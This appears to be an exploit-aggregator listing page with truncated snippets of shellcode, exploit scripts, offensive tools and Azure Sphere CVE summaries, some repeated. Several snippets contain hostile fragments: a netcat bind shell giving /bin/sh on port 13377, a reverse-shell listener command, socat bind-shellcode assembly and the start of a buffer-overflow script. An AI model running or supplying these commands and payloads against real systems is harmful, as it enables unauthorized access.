Backdoor.Win32.Xel Remote Authentication Buffer Overflow

Discovery / credits: Malvuln - malvuln.com c 2021 Original source: https://malvuln.com/advisory/3648c68bfe395fb9980ae547d881572c.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.Xel Vulnerability: Remote Authentication Buffer Overflow Description: Xel listens on...

Linux/x86 - Socat Bind Shellcode (113 bytes)

/ Exploit Title: Linux/x86 - Socat Bind Shellcode 113 bytes Author: Felipe Winsnes Tested on: Debian x86 Shellcode Length: 113 global start section .text start: xor eax, eax push eax PUSH 0x30303030 ; "tcp-listen:10000" PUSH 0x313a6e65 PUSH 0x7473696c PUSH 0x2d706374 mov esi, esp push eax PUSH...

Linux/x64 - Reverse (127.1.1.1:4444) Shell (/bin/sh) Shellcode (123 Bytes)

/ Exploit Title: Linux/x64 - Reverse Shell Author: Guillem Alminyana Date: 2021-01-18 Platform: GNU Linux x64 ===================================== This shellcode connects back to 127.1.1.1 address on port 4444 Listener needs to be opened before execute: nc -lvp 4444 Compile: gcc...

Researchers Disclose Undocumented Chinese Malware Used in Recent Attacks

Cybersecurity researchers have disclosed a series of attacks by a threat actor of Chinese origin that has targeted organizations in Russia and Hong Kong with malware — including a previously undocumented backdoor. Attributing the campaign to Winnti or APT41, Positive Technologies dated the first...

K55 - Linux X86_64 Process Injection Utility | Manipulate Processes With Customized Payloads

pronounced: "kay fifty-five" The K55 payload injection tool is used for injecting x8664 shellcode payloads into running processes. The utility was developed using modern C++11 techniques as well as some traditional C linux functions like ptrace. The shellcode spawned in the target process is 27...

Linux/x86 - bind shell on port 13377 Shellcode (65 bytes)

Exploit Title: Linux/x86 - bind shell on port 13377 Shellcode 65 bytes Date: Jan 12, 2021 Exploit Author: ac3 Version: Linux x86 Tested on: Linux x86 linux x86 nc -lvve/bin/sh -p13377 shellcode This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker 31 c0 xor...

CVE-2020-35608

A code execution vulnerability exists in the normal world’s signed code execution functionality of Microsoft Azure Sphere 20.07. A specially crafted AFPACKET socket can cause a process to create an executable memory mapping with controllable content. An attacker can execute a shellcode that uses...

CVE-2020-35608

A code execution vulnerability exists in the normal world’s signed code execution functionality of Microsoft Azure Sphere 20.07. A specially crafted AFPACKET socket can cause a process to create an executable memory mapping with controllable content. An attacker can execute a shellcode that uses...

CVE-2020-35609

A denial-of-service vulnerability exists in the asynchronous ioctl functionality of Microsoft Azure Sphere 20.05. A sequence of specially crafted ioctl calls can cause a denial of service. An attacker can write shellcode to trigger this vulnerability...

CVE-2020-35609

A denial-of-service vulnerability exists in the asynchronous ioctl functionality of Microsoft Azure Sphere 20.05. A sequence of specially crafted ioctl calls can cause a denial of service. An attacker can write shellcode to trigger this vulnerability...

Denial of service

A denial-of-service vulnerability exists in the asynchronous ioctl functionality of Microsoft Azure Sphere 20.05. A sequence of specially crafted ioctl calls can cause a denial of service. An attacker can write shellcode to trigger this vulnerability...

CVE-2020-35609

A denial-of-service vulnerability exists in the asynchronous ioctl functionality of Microsoft Azure Sphere 20.05. A sequence of specially crafted ioctl calls can cause a denial of service. An attacker can write shellcode to trigger this vulnerability...

CVE-2020-35608

A code execution vulnerability exists in the normal world’s signed code execution functionality of Microsoft Azure Sphere 20.07. A specially crafted AFPACKET socket can cause a process to create an executable memory mapping with controllable content. An attacker can execute a shellcode that uses...

Solaris SunSSH 11.0 x86 libpam Remote Root

Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root Exploit Author: Hacker Fantastic Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris11-overview.html Version: 11 Tested on: SunOS solaris 5.11 11.0 / SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871...

PolyAsciiShellGen

It is an offensive tool for x86 platforms. The primary CVE ID present in the provided context is not explicitly stated, but the tool is related to bypassing MSB data filters for buffer overflow exploits on Intel x86 platforms, as described in the paper "Bypassing MSB Data Filters for Buffer...

Obfuscator - The Program Is Designed To Obfuscate The Shellcode

The program is designed to obfuscate the shellcode. Currently the tool supports 2 encryption. 1 XOR 2 AES The tool accepts shellcode in 4 formats. 1 base64 2 hex 3 c 4 raw Command Line Usage Usage Description ----- ----------- /f Specify the format of the shellcode base64 hex c raw /enc Specify t...

10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)

Exploit Title: 10-Strike Network Inventory Explorer 8.65 - Buffer Overflow SEH Date: 2020-09-02 Exploit Author: Sectechs Vendor Homepage: https://www.10-strike.com Version: 8.65 Tested on: Windows 7 x86 SP1 import os import sys import struct import socket crash ="A" 209 jmp short 8...

SyncBreeze 10.0.28 Remote Buffer Overflow

Exploit Title: SyncBreeze 10.0.28 - 'password' Remote Buffer Overflow Date: 18-Sep-2020 Exploit Author: Abdessalam kingA.salam Vendor Homepage: http://www.syncbreeze.com Software Link: http://www.syncbreeze.com/setups/syncbreezeentsetupv10.0.28.exe Version: 10.0.28 Tested on: Windows 7,windows...

Boxoft Audio Converter 2.3.0 Buffer Overflow

Exploit Title: Boxoft Audio Converter 2.3.0 - '.wav' Buffer Overflow SEH Discovery by: Luis Martinez Discovery Date: 2020-11-22 Vendor Homepage: http://www.boxoft.com/ Software Link: http://www.boxoft.com/audio-converter/a-pdf-bac.exe Tested Version: 2.3.0 Vulnerability Type: Local Buffer Overflo...

Boxoft Audio Converter 2.3.0 - '.wav' Buffer Overflow (SEH)

Exploit Title: Boxoft Audio Converter 2.3.0 - '.wav' Buffer Overflow SEH Discovery by: Luis Martinez Discovery Date: 2020-11-22 Vendor Homepage: http://www.boxoft.com/ Software Link: http://www.boxoft.com/audio-converter/a-pdf-bac.exe Tested Version: 2.3.0 Vulnerability Type: Local Buffer Overflo...